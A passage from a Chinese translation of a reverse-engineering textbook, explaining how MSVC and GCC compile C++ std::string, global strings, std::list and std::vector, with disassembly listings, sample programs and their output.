std::basic_string<char,std::char_traits<char>,std::allocator<char> >::assign lea eax, DWORD PTR _s2$[esp+72] push eax lea eax, DWORD PTR _s1$[esp+76] push eax lea eax, DWORD PTR _s3$[esp+80] push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU? $char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z ; std::operator+<char,std::char_traits< char>,std::allocator<char> > ; inlined c_str() method: cmp DWORD PTR _s3$[esp+104], 16 lea eax, DWORD PTR _s3$[esp+84] cmovae eax, DWORD PTR _s3$[esp+84] push eax push OFFSET $SG39581 call _printf add esp, 20 cmp DWORD PTR _s3$[esp+92], 16 jb SHORT $LN119@main push DWORD PTR _s3$[esp+72] call ??3@YAXPAX@Z ; operator delete add esp, 4 $LN119@main: cmp DWORD PTR _s2$[esp+92], 16 mov DWORD PTR _s3$[esp+92], 15 mov DWORD PTR _s3$[esp+88], 0 mov BYTE PTR _s3$[esp+72], 0 jb SHORT $LN151@main push DWORD PTR _s2$[esp+72] call ??3@YAXPAX@Z ; operator delete add esp, 4 $LN151@main: cmp DWORD PTR _s1$[esp+92], 16 mov DWORD PTR _s2$[esp+92], 15 mov DWORD PTR _s2$[esp+88], 0 mov BYTE PTR _s2$[esp+72], 0 jb SHORT $LN195@main push DWORD PTR _s1$[esp+72] call ??3@YAXPAX@Z ; operator delete add esp, 4 $LN195@main: xor eax, eax add esp, 72 ret 0 _main ENDP 编译器没有采用原有模式构建字符串。使用堆来存储字符串缓冲区,数据结构自然就完全不同。ASCIIZ 字符串通常存储于程序的数据段,在执行程序的时候,assign 方式会构造字符串 s1 和 s2。而后程序通过运 算符“+”构造 s3。 请注意此处没有调用字符串的 c_str()方式。因为代码很紧凑,所以编译器把 c_str()的代码内联(内嵌) 到了此处:如果字符串的长度不足 16 个字符,那么 EAX 寄存器将保留缓冲区的指针;否则它将提取堆里 那个存储字符串的缓冲区指针。 最后,程序调用了 3 个析构函数,用于释放长字符串(长度大于 16 个字符的字符串)占用的堆空间。 如果字符串长度小于 16,那么 std::string 对象全部存储于数据栈,会随函数结束而自动释放。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 532 逆向工程权威指南(下册) 就性能而言,短字符串的处理速度更快,因为访问堆的操作要少一些。 GCC 的处理方式更为简单。GCC 不会把短字符串的文本缓冲区直接存储到 string 结构体里。 使用 GCC\ 4.8.1 编译上述程序,可得到: 指令清单 51.24 GCC 4.8.1 下的程序编译 .LC0: .string "Hello, " .LC1: .string "world!\n" main: push ebp mov ebp, esp push edi push esi push ebx and esp, -16 sub esp, 32 lea ebx, [esp+28] lea edi, [esp+20] mov DWORD PTR [esp+8], ebx lea esi, [esp+24] mov DWORD PTR [esp+4], OFFSET FLAT:.LC0 mov DWORD PTR [esp], edi call _ZNSsC1EPKcRKSaIcE mov DWORD PTR [esp+8], ebx mov DWORD PTR [esp+4], OFFSET FLAT:.LC1 mov DWORD PTR [esp], esi call _ZNSsC1EPKcRKSaIcE mov DWORD PTR [esp+4], edi mov DWORD PTR [esp], ebx call _ZNSsC1ERKSs mov DWORD PTR [esp+4], esi mov DWORD PTR [esp], ebx call _ZNSs6appendERKSs ; inlined c_str(): mov eax, DWORD PTR [esp+28] mov DWORD PTR [esp], eax call puts mov eax, DWORD PTR [esp+28] lea ebx, [esp+19] mov DWORD PTR [esp+4], ebx sub eax, 12 mov DWORD PTR [esp], eax call _ZNSs4_Rep10_M_disposeERKSaIcE mov eax, DWORD PTR [esp+24] mov DWORD PTR [esp+4], ebx sub eax, 12 mov DWORD PTR [esp], eax call _ZNSs4_Rep10_M_disposeERKSaIcE mov eax, DWORD PTR [esp+20] mov DWORD PTR [esp+4], ebx sub eax, 12 mov DWORD PTR [esp], eax call _ZNSs4_Rep10_M_disposeERKSaIcE lea esp, [ebp-12] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 533 xor eax, eax pop ebx pop esi pop edi pop ebp ret 可见,传递给析构函数的指针不是对象的指针,而是指向 string 对象之前 12 个字节的地址的指针—— 那才是结构体真正的起始地址。 全局变量 std::string 虽然资深的 C++编程人员都不会把 std::string 当作全局变量使用,但实际上由 STL 定义的数据类型都 可以用作全局变量, 确实如此,我们来看下面这段程序: #include <stdio.h> #include <string> std::string s="a string"; int main() { printf ("%s\n", s.c_str()); }; 实际上,在主函数 main()启动之前,全局变量就已经完成初始化操作了。 指令清单 51.25 MSVC 2012(这里我们可以看到这个全局变量是如何构造的以及一个析构体是如何注册的) ??__Es@@YAXXZ PROC push 8 push OFFSET $SG39512 ; 'a string' mov ecx, OFFSET ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A ; s call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::assign push OFFSET ??__Fs@@YAXXZ ; `dynamic atexit destructor for 's'' call _atexit pop ecx ret 0 ??__Es@@YAXXZ ENDP 指令清单 51.26 MSVC 2012(从这个程序我们可以看到,主函数 main()是如何使用一个全局变量的) $SG39512 DB 'a string', 00H $SG39519 DB '%s', 0aH, 00H _main PROC cmp DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A+20, 16 mov eax, OFFSET ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A ; s cmovae eax, DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A push eax push OFFSET $SG39519 ; '%s' call _printf add esp, 8 xor eax, eax ret 0 _main ENDP 指令清单 51.27 MSVC 2012 在退出之前,析构函数的调用过程 ??__Fs@@YAXXZ PROC push ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 534 逆向工程权威指南(下册) cmp DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A+20, 16 jb SHORT $LN23@dynamic push esi mov esi, DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A lea ecx, DWORD PTR $T2[esp+8] call ??0?$_Wrap_alloc@V?$allocator@D@std@@@std@@QAE@XZ push OFFSET ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A ; s lea ecx, DWORD PTR $T2[esp+12] call ??$destroy@PAD@?$_Wrap_alloc@V?$allocator@D@std@@@std@@QAEXPAPAD@Z lea ecx, DWORD PTR $T1[esp+8] call ??0?$_Wrap_alloc@V?$allocator@D@std@@@std@@QAE@XZ push esi call ??3@YAXPAX@Z ; operator delete add esp, 4 pop esi $LN23@dynamic: mov DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A+20, 15 mov DWORD PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A+16, 0 mov BYTE PTR ?s@@3V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@A, 0 pop ecx ret 0 ??__Fs@@YAXXZ ENDP 实际上,主函数 main()没有调用那个创建全局变量的构造函数,这部分任务是 CRT 在启动 main()函数 之前就已经完成的操作。不止如此,全局变量的析构函数由 stdlib 声明的 atexit()函数提供,只有在 main 结 束之后才会被调用。 GCC 的处理方法十分相似。经 GCC 4.8.1 编译上述源程序,可得到: 指令清单 51.28 GCC 4.8.1 函数 main: push ebp mov ebp, esp and esp, -16 sub esp, 16 mov eax, DWORD PTR s mov DWORD PTR [esp], eax call puts xor eax, eax leave ret .LC0: .string "a string" _GLOBAL__sub_I_s: sub esp, 44 lea eax, [esp+31] mov DWORD PTR [esp+8], eax mov DWORD PTR [esp+4], OFFSET FLAT:.LC0 mov DWORD PTR [esp], OFFSET FLAT:s call _ZNSsC1EPKcRKSaIcE mov DWORD PTR [esp+8], OFFSET FLAT:__dso_handle mov DWORD PTR [esp+4], OFFSET FLAT:s mov DWORD PTR [esp], OFFSET FLAT:_ZNSsD1Ev call __cxa_atexit add esp, 44 ret .LFE645: .size _GLOBAL__sub_I_s, .-_GLOBAL__sub_I_s .section .init_array,"aw" .align 4 .long _GLOBAL__sub_I_s .globl s .bss .align 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 535 .type s, @object .size s, 4 s: .zero 4 .hidden __dso_handle 但是 GCC 没有单独建立一个专用函数,而是把每个析构函数逐一传递给 atexit()函数。 51.4.2 std::list std::list 是众所皆知的双向链表的容器类,它的每个数据元素可通过链表指针(链域)串接成逻辑意义 上的线性表。这种数据结构的每个元素都有 2 个指针,一个指针指向前一个元素,另一个指针指向后一个 元素。 链域的存在决定了,每个节点要比单纯的节点数据元素多占用 2 个 words 的空间,即 32 位系统下要多 占用 8 个字节,而 64 位系统下会多占用 16 个字节。 C++的标准模板库只是给现有结构体扩充了“next”“previous”指针,使之形成语意上的有序序列。 我们以 2 个变量组成的结构体为例,演示 std::list 的链结构。 虽然 C++标准(ISO/IEC 14882:2011 (C++ 11 standard))没有明确这种数据结构的具体实现方法,但是 MSVC 编译器和 GCC 编译器不约而同地选择几乎一致的实现方法。我们就以下源程序为例进行说明: #include <stdio.h> #include <list> #include <iostream> struct a { int x; int y; }; struct List_node { struct List_node* _Next; struct List_node* _Prev; int x; int y; }; void dump_List_node (struct List_node *n) { printf ("ptr=0x%p _Next=0x%p _Prev=0x%p x=%d y=%d\n", n, n->_Next, n->_Prev, n->x, n->y); }; void dump_List_vals (struct List_node* n) { struct List_node* current=n; for (;;) { dump_List_node (current); current=current->_Next; if (current==n) // end break; }; }; void dump_List_val (unsigned int *a) { #ifdef _MSC_VER // GCC implementation does not have "size" field 异步社区会员 dearfuture(15918834820) 专享 尊重版权 536 逆向工程权威指南(下册) printf ("_Myhead=0x%p, _Mysize=%d\n", a[0], a[1]); #endif dump_List_vals ((struct List_node*)a[0]); }; int main() { std::list<struct a> l; printf ("* empty list:\n"); dump_List_val((unsigned int*)(void*)&l); struct a t1; t1.x=1; t1.y=2; l.push_front (t1); t1.x=3; t1.y=4; l.push_front (t1); t1.x=5; t1.y=6; l.push_back (t1); printf ("* 3-elements list:\n"); dump_List_val((unsigned int*)(void*)&l); std::list<struct a>::iterator tmp; printf ("node at .begin:\n"); tmp=l.begin(); dump_List_node ((struct List_node *)*(void**)&tmp); printf ("node at .end:\n"); tmp=l.end(); dump_List_node ((struct List_node *)*(void**)&tmp); printf ("* let's count from the begin:\n"); std::list<struct a>::iterator it=l.begin(); printf ("1st element: %d %d\n", (*it).x, (*it).y); it++; printf ("2nd element: %d %d\n", (*it).x, (*it).y); it++; printf ("3rd element: %d %d\n", (*it).x, (*it).y); it++; printf ("element at .end(): %d %d\n", (*it).x, (*it).y); printf ("* let's count from the end:\n"); std::list<struct a>::iterator it2=l.end(); printf ("element at .end(): %d %d\n", (*it2).x, (*it2).y); it2--; printf ("3rd element: %d %d\n", (*it2).x, (*it2).y); it2--; printf ("2nd element: %d %d\n", (*it2).x, (*it2).y); it2--; printf ("1st element: %d %d\n", (*it2).x, (*it2).y); printf ("removing last element...\n"); l.pop_back(); dump_List_val((unsigned int*)(void*)&l); }; GCC 我们首先讲解 GCC 编译器的编译方式。 运行上述程序时,将会得到很多输出数据。我们进行分段解说: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 537 * empty list: ptr=0x0028fe90 _Next=0x0028fe90 _Prev=0x0028fe90 x=3 y=0 此时它还是个空链。虽然我们还未对其进行赋值操作,但是变量 x 和变量 y 已经有数据了(也就是常 人所说的虚结点/dummy node)。而且,“next”“prev”指针都指向该节点自己。 在这个时候,迭代器.begin(开始)和.end(结束)值相等。 然后程序创建了 3 个节点,此后整个链表的内部数据将会变为: * 3-elements list: ptr=0x000349a0 _Next=0x00034988 _Prev=0x0028fe90 x=3 y=4 ptr=0x00034988 _Next=0x00034b40 _Prev=0x000349a0 x=1 y=2 ptr=0x00034b40 _Next=0x0028fe90 _Prev=0x00034988 x=5 y=6 ptr=0x0028fe90 _Next=0x000349a0 _Prev=0x00034b40 x=5 y=6 最后一个元素的地址还是刚才的 0x0028fe90。实际上在释放结构体之前它的地址不会发生变化。而且 这个节点的两个字段 x 和 y 仍然还是随机的噪音数据,这时它们的值分别是 5 和 6。碰巧的是,这些值和 最后一个元素的值相同。只是这种巧合并不会一直持续下去。 此时,这 3 个节点存储过程和内存分布结构如下所示。 变量 l 总是指向第一个节点。 实际上迭代器.begin()(开始)和.end()(结束)不是变量而是函数,它们的返回值是相应节点的指针。 双向链表通常都会采用这种虚节点(英文别称是 sentinel node/岗哨节点)的实现方法。这种节点具有 异步社区会员 dearfuture(15918834820) 专享 尊重版权 538 逆向工程权威指南(下册) 简化链结构和提升操作效率的作用。 迭代器其实就是一个指向节点的指针,而 list.begin()和 list.end()分别返回首/尾节点的指针。 node at .begin: ptr=0x000349a0 _Next=0x00034988 _Prev=0x0028fe90 x=3 y=4 node at .end: ptr=0x0028fe90 _Next=0x000349a0 _Prev=0x00034b40 x=5 y=6 事实上,最后一个节点的 Next 指针指向的第一个节点,而第一个元素的 Prev 指针指向的是最后一个 元素。因此我们很容易就能想到这是一个循环链。 所以,可利用指向第一个节点的指针(即本例的实例 l)顺藤摸瓜地找到序列的最后一个节点,而不 必遍历整个链。利用这种结构,我们还可毫不费力的在链尾之后插入其他节点。 运算符“++”、“--”就是把迭代器的值设为[当前节点->prev]或[当前节点->next]的值。逆向迭代 器(reverse iterators,即.rbegin 和.rend)的作用几乎相同,只是方向相反。 迭代器的运算符“*”用于返回节点结构体的指针,即自定义的数据结构体的启始地址,换句话说是节 点第一项数据(本例中是 x)的指针。 在链表里插入和删除节点时,我们只需要分配(或释放)节点的存储空间,,然后再更新所有的链域指 针、即可保障整个链的有效性。 在删除节点之后,相邻节点的迭代器(链域)可能依然指向被删除的无效节点,此时迭代器就会 失效。指向无效结点的迭代器又叫做“迷途指针”和“悬空指针”(dangling pointer)。当然,这种指 针就不能再使用了。 在 GCC(以 4.8.1 版为例)编译 std::list 的实例时,它不会存储链中的节点总数。这就意味着内置函数.size() 的运行速度十分缓慢,因为它必须遍历完整个数据链才能返回节点个数。因此,那些与节点总数有关的所 有函数(例如 O(n))的时间开销都和链表长度成正比。 指令清单 51.29 GCC4.8.1 带参数-fno 内置小函数的优化 main proc near push ebp mov ebp, esp push esi push ebx and esp, 0FFFFFFF0h sub esp, 20h lea ebx, [esp+10h] mov dword ptr [esp], offset s ; "* empty list:" mov [esp+10h], ebx mov [esp+14h], ebx call puts mov [esp], ebx call _Z13dump_List_valPj ; dump_List_val(uint *) lea esi, [esp+18h] mov [esp+4], esi mov [esp], ebx mov dword ptr [esp+18h], 1 ; X for new element mov dword ptr [esp+1Ch], 2 ; Y for new element call _ZNSt4listI1aSaIS0_EE10push_frontERKS0_ ; std::list<a,std::allocator<a>>::push_front(a const&) mov [esp+4], esi mov [esp], ebx mov dword ptr [esp+18h], 3 ; X for new element mov dword ptr [esp+1Ch], 4 ; Y for new element call _ZNSt4listI1aSaIS0_EE10push_frontERKS0_ ; std::list<a,std::allocator<a>>::push_front(a const&) mov dword ptr [esp], 10h mov dword ptr [esp+18h], 5 ; X for new element mov dword ptr [esp+1Ch], 6 ; Y for new element call _Znwj ; operator new(uint) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 539 cmp eax, 0FFFFFFF8h jz short loc_80002A6 mov ecx, [esp+1Ch] mov edx, [esp+18h] mov [eax+0Ch], ecx mov [eax+8], edx loc_80002A6: ; CODE XREF: main+86 mov [esp+4], ebx mov [esp], eax call _ZNSt8__detail15_List_node_base7_M_hookEPS0_ ; std::__detail::_List_node_base::_M_hook (std::__detail::_List_node_base*) mov dword ptr [esp], offset a3ElementsList ; "* 3-elements list:" call puts mov [esp], ebx call _Z13dump_List_valPj ; dump_List_val(uint *) mov dword ptr [esp], offset aNodeAt_begin ; "node at .begin:" call puts mov eax, [esp+10h] mov [esp], eax call _Z14dump_List_nodeP9List_node ; dump_List_node(List_node *) mov dword ptr [esp], offset aNodeAt_end ; "node at .end:" call puts mov [esp], ebx call _Z14dump_List_nodeP9List_node ; dump_List_node(List_node *) mov dword ptr [esp], offset aLetSCountFromT ; "* let's count from the begin:" call puts mov esi, [esp+10h] mov eax, [esi+0Ch] mov [esp+0Ch], eax mov eax, [esi+8] mov dword ptr [esp+4], offset a1stElementDD ; "1st element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov esi, [esi] ; operator++: get ->next pointer mov eax, [esi+0Ch] mov [esp+0Ch], eax mov eax, [esi+8] mov dword ptr [esp+4], offset a2ndElementDD ; "2nd element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov esi, [esi] ; operator++: get ->next pointer mov eax, [esi+0Ch] mov [esp+0Ch], eax mov eax, [esi+8] mov dword ptr [esp+4], offset a3rdElementDD ; "3rd element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov eax, [esi] ; operator++: get ->next pointer mov edx, [eax+0Ch] mov [esp+0Ch], edx mov eax, [eax+8] mov dword ptr [esp+4], offset aElementAt_endD ; "element at .end(): %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov dword ptr [esp], offset aLetSCountFro_0 ; "* let's count from the end:" call puts mov eax, [esp+1Ch] mov dword ptr [esp+4], offset aElementAt_endD ; "element at .end(): %d %d\n" mov dword ptr [esp], 1 mov [esp+0Ch], eax mov eax, [esp+18h] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 540 逆向工程权威指南(下册) mov [esp+8], eax call __printf_chk mov esi, [esp+14h] mov eax, [esi+0Ch] mov [esp+0Ch], eax mov eax, [esi+8] mov dword ptr [esp+4], offset a3rdElementDD ; "3rd element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov esi, [esi+4] ; operator--: get ->prev pointer mov eax, [esi+0Ch] mov [esp+0Ch], eax mov eax, [esi+8] mov dword ptr [esp+4], offset a2ndElementDD ; "2nd element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov eax, [esi+4] ; operator--: get ->prev pointer mov edx, [eax+0Ch] mov [esp+0Ch], edx mov eax, [eax+8] mov dword ptr [esp+4], offset a1stElementDD ; "1st element: %d %d\n" mov dword ptr [esp], 1 mov [esp+8], eax call __printf_chk mov dword ptr [esp], offset aRemovingLastEl ; "removing last element..." call puts mov esi, [esp+14h] mov [esp], esi call _ZNSt8__detail15_List_node_base9_M_unhookEv ; std::__detail::_List_node_base:: _M_unhook(void) mov [esp], esi ; void * call _ZdlPv ; operator delete(void *) mov [esp], ebx call _Z13dump_List_valPj ; dump_List_val(uint *) mov [esp], ebx call _ZNSt10_List_baseI1aSaIS0_EE8_M_clearEv ; std::_List_base<a,std::allocator<a>>:: _M_clear(void) lea esp, [ebp-8] xor eax, eax pop ebx pop esi pop ebp retn main endp 运行上面这个由 GCC 编译的程序,可以得到如下数据: 指令清单 51.30 整个输出 * empty list: ptr=0x0028fe90 _Next=0x0028fe90 _Prev=0x0028fe90 x=3 y=0 * 3-elements list: ptr=0x000349a0 _Next=0x00034988 _Prev=0x0028fe90 x=3 y=4 ptr=0x00034988 _Next=0x00034b40 _Prev=0x000349a0 x=1 y=2 ptr=0x00034b40 _Next=0x0028fe90 _Prev=0x00034988 x=5 y=6 ptr=0x0028fe90 _Next=0x000349a0 _Prev=0x00034b40 x=5 y=6 node at .begin: ptr=0x000349a0 _Next=0x00034988 _Prev=0x0028fe90 x=3 y=4 node at .end: ptr=0x0028fe90 _Next=0x000349a0 _Prev=0x00034b40 x=5 y=6 * let's count from the begin: 1st element: 3 4 2nd element: 1 2 3rd element: 5 6 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 541 element at .end(): 5 6 * let's count from the end: element at .end(): 5 6 3rd element: 5 6 2nd element: 1 2 1st element: 3 4 removing last element... ptr=0x000349a0 _Next=0x00034988 _Prev=0x0028fe90 x=3 y=4 ptr=0x00034988 _Next=0x0028fe90 _Prev=0x000349a0 x=1 y=2 ptr=0x0028fe90 _Next=0x000349a0 _Prev=0x00034988 x=5 y=6 MSVC 在编译 std::list 的时候,MSVC 2012 会存储链表的长度。除此以外,它的实现方法和 GCC 基本一致。 这就是说,内置函数.size()只需要从内存中读取一个值就可以返回函数结果,其速度相当快。不过,这也意 味着每次添增/删除节点的时候都需要调整这个值。 MSVC 的链存储结构也和 GCC 有所区别: 可见,GCC 构造的虚节点在链尾,而 MSVC 构造的虚节点在链首。 使用 MSVC 2012(启用/Fa2.asm/GS-/Ob1 选项)编译上述程序,可得到: 指令清单 51.31 MSVC 2012 带参数/Fa2.asm/GS-/Ob1 优化的程序 _l$ = -16 ; size = 8 _t1$ = -8 ; size = 8 _main PROC sub esp, 16 push ebx push esi push edi push 0 push 0 lea ecx, DWORD PTR _l$[esp+36] mov DWORD PTR _l$[esp+40], 0 ; allocate first "garbage" element call ?_Buynode0@?$_List_alloc@$0A@U?$_List_base_types@Ua@@V? $allocator@Ua@@@std@@@std@@@std@@QAEPAU?$_List_node@Ua@@PAX@2@PAU32@0@Z ; std:: _List_alloc<0,std::_List_base_types<a,std::allocator<a> > >::_Buynode0 mov edi, DWORD PTR __imp__printf mov ebx, eax push OFFSET $SG40685 ; '* empty list:' mov DWORD PTR _l$[esp+32], ebx call edi ; printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 542 逆向工程权威指南(下册) lea eax, DWORD PTR _l$[esp+32] push eax call ?dump_List_val@@YAXPAI@Z ; dump_List_val mov esi, DWORD PTR [ebx] add esp, 8 lea eax, DWORD PTR _t1$[esp+28] push eax push DWORD PTR [esi+4] lea ecx, DWORD PTR _l$[esp+36] push esi mov DWORD PTR _t1$[esp+40], 1 ; data for a new node mov DWORD PTR _t1$[esp+44], 2 ; data for a new node ; allocate new node call ??$_Buynode@ABUa@@@?$_List_buy@Ua@@V?$allocator@Ua@@@std@@@std@@QAEPAU? $_List_node@Ua@@PAX@1@PAU21@0ABUa@@@Z ; std::_List_buy<a,std::allocator<a> >::_Buynode<a const &> mov DWORD PTR [esi+4], eax mov ecx, DWORD PTR [eax+4] mov DWORD PTR _t1$[esp+28], 3 ; data for a new node mov DWORD PTR [ecx], eax mov esi, DWORD PTR [ebx] lea eax, DWORD PTR _t1$[esp+28] push eax push DWORD PTR [esi+4] lea ecx, DWORD PTR _l$[esp+36] push esi mov DWORD PTR _t1$[esp+44], 4 ; data for a new node ; allocate new node call ??$_Buynode@ABUa@@@?$_List_buy@Ua@@V?$allocator@Ua@@@std@@@std@@QAEPAU? $_List_node@Ua@@PAX@1@PAU21@0ABUa@@@Z ; std::_List_buy<a,std::allocator<a> >::_Buynode<a const &> mov DWORD PTR [esi+4], eax mov ecx, DWORD PTR [eax+4] mov DWORD PTR _t1$[esp+28], 5 ; data for a new node mov DWORD PTR [ecx], eax lea eax, DWORD PTR _t1$[esp+28] push eax push DWORD PTR [ebx+4] lea ecx, DWORD PTR _l$[esp+36] push ebx mov DWORD PTR _t1$[esp+44], 6 ; data for a new node ; allocate new node call ??$_Buynode@ABUa@@@?$_List_buy@Ua@@V?$allocator@Ua@@@std@@@std@@QAEPAU? $_List_node@Ua@@PAX@1@PAU21@0ABUa@@@Z ; std::_List_buy<a,std::allocator<a> >::_Buynode<a const &> mov DWORD PTR [ebx+4], eax mov ecx, DWORD PTR [eax+4] push OFFSET $SG40689 ; '* 3-elements list:' mov DWORD PTR _l$[esp+36], 3 mov DWORD PTR [ecx], eax call edi ; printf lea eax, DWORD PTR _l$[esp+32] push eax call ?dump_List_val@@YAXPAI@Z ; dump_List_val push OFFSET $SG40831 ; 'node at .begin:' call edi ; printf push DWORD PTR [ebx] ; get next field of node l variable points to call ?dump_List_node@@YAXPAUList_node@@@Z ; dump_List_node push OFFSET $SG40835 ; 'node at .end:' call edi ; printf push ebx ; pointer to the node $l$ variable points to! call ?dump_List_node@@YAXPAUList_node@@@Z ; dump_List_node push OFFSET $SG40839 ; '* let''s count from the begin:' call edi ; printf mov esi, DWORD PTR [ebx] ; operator++: get ->next pointer 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 543 push DWORD PTR [esi+12] push DWORD PTR [esi+8] push OFFSET $SG40846 ; '1st element: %d %d' call edi ; printf mov esi, DWORD PTR [esi] ; operator++: get ->next pointer push DWORD PTR [esi+12] push DWORD PTR [esi+8] push OFFSET $SG40848 ; '2nd element: %d %d' call edi ; printf mov esi, DWORD PTR [esi] ; operator++: get ->next pointer push DWORD PTR [esi+12] push DWORD PTR [esi+8] push OFFSET $SG40850 ; '3rd element: %d %d' call edi ; printf mov eax, DWORD PTR [esi] ; operator++: get ->next pointer add esp, 64 push DWORD PTR [eax+12] push DWORD PTR [eax+8] push OFFSET $SG40852 ; 'element at .end(): %d %d' call edi ; printf push OFFSET $SG40853 ; '* let''s count from the end:' call edi ; printf push DWORD PTR [ebx+12] ; use x and y fields from the node l variable points to push DWORD PTR [ebx+8] push OFFSET $SG40860 ; 'element at .end(): %d %d' call edi ; printf mov esi, DWORD PTR [ebx+4] ; operator--: get ->prev pointer push DWORD PTR [esi+12] push DWORD PTR [esi+8] push OFFSET $SG40862 ; '3rd element: %d %d' call edi ; printf mov esi, DWORD PTR [esi+4] ; operator--: get ->prev pointer push DWORD PTR [esi+12] push DWORD PTR [esi+8] push OFFSET $SG40864 ; '2nd element: %d %d' call edi ; printf mov eax, DWORD PTR [esi+4] ; operator--: get ->prev pointer push DWORD PTR [eax+12] push DWORD PTR [eax+8] push OFFSET $SG40866 ; '1st element: %d %d' call edi ; printf add esp, 64 push OFFSET $SG40867 ; 'removing last element...' call edi ; printf mov edx, DWORD PTR [ebx+4] add esp, 4 ; prev=next? ; it is the only element, "garbage one"? ; if yes, do not delete it! cmp edx, ebx je SHORT $LN349@main mov ecx, DWORD PTR [edx+4] mov eax, DWORD PTR [edx] mov DWORD PTR [ecx], eax mov ecx, DWORD PTR [edx] mov eax, DWORD PTR [edx+4] push edx mov DWORD PTR [ecx+4], eax call ??3@YAXPAX@Z ; operator delete add esp, 4 mov DWORD PTR _l$[esp+32], 2 $LN349@main: lea eax, DWORD PTR _l$[esp+28] push eax call ?dump_List_val@@YAXPAI@Z ; dump_List_val mov eax, DWORD PTR [ebx] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 544 逆向工程权威指南(下册) add esp, 4 mov DWORD PTR [ebx], ebx mov DWORD PTR [ebx+4], ebx cmp eax, ebx je SHORT $LN412@main $LL414@main: mov esi, DWORD PTR [eax] push eax call ??3@YAXPAX@Z ; operator delete add esp, 4 mov eax, esi cmp esi, ebx jne SHORT $LL414@main $LN412@main: push ebx call ??3@YAXPAX@Z ; operator delete add esp, 4 xor eax, eax pop edi pop esi pop ebx add esp, 16 ret 0 _main ENDP 在构造数据链的时候,MSVC 通过“Buynode”函数分配了虚节点的空间;此后,这个函数同样用于 分配其他节点的存储空间。相比之下,GCC 则会在局部栈里存储链表的第一个节点。 指令清单 51.32 整个程序的输出 * empty list: _Myhead=0x003CC258, _Mysize=0 ptr=0x003CC258 _Next=0x003CC258 _Prev=0x003CC258 x=6226002 y=4522072 * 3-elements list: _Myhead=0x003CC258, _Mysize=3 ptr=0x003CC258 _Next=0x003CC288 _Prev=0x003CC2A0 x=6226002 y=4522072 ptr=0x003CC288 _Next=0x003CC270 _Prev=0x003CC258 x=3 y=4 ptr=0x003CC270 _Next=0x003CC2A0 _Prev=0x003CC288 x=1 y=2 ptr=0x003CC2A0 _Next=0x003CC258 _Prev=0x003CC270 x=5 y=6 node at .begin: ptr=0x003CC288 _Next=0x003CC270 _Prev=0x003CC258 x=3 y=4 node at .end: ptr=0x003CC258 _Next=0x003CC288 _Prev=0x003CC2A0 x=6226002 y=4522072 * let's count from the begin: 1st element: 3 4 2nd element: 1 2 3rd element: 5 6 element at .end(): 6226002 4522072 * let's count from the end: element at .end(): 6226002 4522072 3rd element: 5 6 2nd element: 1 2 1st element: 3 4 removing last element... _Myhead=0x003CC258, _Mysize=2 ptr=0x003CC258 _Next=0x003CC288 _Prev=0x003CC270 x=6226002 y=4522072 ptr=0x003CC288 _Next=0x003CC270 _Prev=0x003CC258 x=3 y=4 ptr=0x003CC270 _Next=0x003CC258 _Prev=0x003CC288 x=1 y=2 C++11 std::forward_list 单向链表 std::forward_list 和 std::list 的结构基本相同,只是它是单向链,它的迭代器(链域)只有”next”字段 而没有”prev”字段。虽然这种链表的内存开销变小了,但是无法进行逆向遍历。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 545 51.4.3 std::vector 标准向量 我们将std::vector标准向量称为PODT ① ① PODT 是 Plain Old Data Type,纯文本的老的数据类型。 C数组的安全封装容器。其内部结构和标准字符串std::string 十分 相似(参见 51.4.1 节)。它有一个数据缓冲区的专用指针,一个指向数组尾部的专用指针,以及一个指向分 配缓冲区尾部的专用指针。 这种数组采取的各个元素以彼此相邻的方式存储于内存之中,这点和常规数组没什么区别(参见第 18 章)。新推出的 C++11 标准,为其定义了内置函数.data()。std::vector 的.data()的作用就和 std::string 中的.c_str() 一样,用于返回缓冲区的地址。 这种数据结构使用堆/heap 来存储数据缓冲区,而堆的空间消耗可能会比数组本身还大。 MSVC 和 GCC 的实现机理基本相同,只是结构体的变量名称稍微有些不同。因此,所以这里使用同 一个例子进行说明。下述源程序用于遍历 std::vector 的数据结构。 #include <stdio.h> #include <vector> #include <algorithm> #include <functional> struct vector_of_ints { // MSVC names: int *Myfirst; int *Mylast; int *Myend; // GCC structure is the same, but names are: _M_start, _M_finish, _M_end_of_storage }; void dump(struct 